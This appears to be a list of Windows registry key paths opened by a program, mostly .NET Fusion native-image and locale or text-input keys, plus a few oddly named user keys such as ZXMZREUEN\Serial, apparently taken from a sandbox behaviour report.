HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\APTCA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Runtime.Serialization.Formatters.Soap__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.Accessibility__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\4953e930\42354be
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\4953e930\39ed0b7c
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\9fdc885\788206a9
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\9fdc885\12c688f
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3512230a-fb0b-11e5-b945-806e6f6e6963}\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3512230a-fb0b-11e5-b945-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3512230a-fb0b-11e5-b945-806e6f6e6963}\Generation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122306-fb0b-11e5-b945-806e6f6e6963}\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122306-fb0b-11e5-b945-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122306-fb0b-11e5-b945-806e6f6e6963}\Generation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122307-fb0b-11e5-b945-806e6f6e6963}\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122307-fb0b-11e5-b945-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122307-fb0b-11e5-b945-806e6f6e6963}\Generation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.mscorlib.resources_it-IT_b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5e8c75c\40dcb014
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.mscorlib.resources_it_b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5e8c75c\1ffc8ca7
HKEY_CURRENT_USER\ZXMZREUEN
HKEY_CURRENT_USER\ZXMZREUEN\Serial
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale\Alternate Sorts
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Language Groups
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontLink\SystemLink
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\DataStore_V1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\DataStore_V1.0\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\DataStore_V1.0\DataFilePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane3
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane5
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane6
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane7
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane8
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane9
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane10
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane11
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane12
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane13
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane14
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane15
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane16
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Segoe UI
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\Compatibility\up.exe
HKEY_LOCAL_MACHINE\Software\Microsoft\CTF\TIP\{0000897b-83df-4b96-be07-0fb58b01c4a4}\LanguageProfile\0x00000000\{0001bea3-ed56-483d-a2e2-aeae25577436}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{0000897b-83df-4b96-be07-0fb58b01c4a4}\LanguageProfile\0x00000000\{0001bea3-ed56-483d-a2e2-aeae25577436}\Enable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{0000897b-83df-4b96-be07-0fb58b01c4a4}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{03B5835F-F03C-411B-9CE2-AA23E1171E36}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{07EB03D6-B001-41DF-9192-BF9B841EE71F}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{3697C5FA-60DD-4B56-92D4-74A569205C16}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{531FDEBF-9B4C-4A43-A2AA-960E8FCDC732}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{70FAF614-E0B1-11D3-8F5C-00C04F9CF4AC}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{78CB5B0E-26ED-4FCC-854C-77E8F3D1AA80}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{81D4E9C9-1D3B-41BC-9E6C-4B40BF79E35E}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{8613E14C-D0C0-4161-AC0F-1DD2563286BC}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{A028AE76-01B1-46C2-99C4-ACD9858AE02F}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{AE6BE008-07FB-400D-8BEB-337A64F7051F}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{C1EE01F2-B3B6-4A6A-9DDD-E988C088EC82}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{DCBD6FA8-032F-11D3-B5B1-00C04FC324A1}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{E429B25A-E5D3-4D1F-9BE3-0C608477E3A1}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{F25E9F57-2FC8-4EB3-A41A-CCE5F08541E6}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{F89E9E58-BD2F-4008-9AC2-0F816C09F4EE}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90}
HKEY_CURRENT_USER
HKEY_CURRENT_USER\Keyboard Layout\Toggle
HKEY_CURRENT_USER\Keyboard Layout\Toggle\Language Hotkey
HKEY_CURRENT_USER\Keyboard Layout\Toggle\Hotkey
HKEY_CURRENT_USER\Keyboard Layout\Toggle\Layout Hotkey
HKEY_CURRENT_USER\Software\Microsoft\CTF\DirectSwitchHotkeys
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\CTF\EnableAnchorContext
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\KnownClasses
HKEY_CURRENT_USER\ZBIRE
HKEY_CURRENT_USER\ZBIRE\Serial
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ILDependencies
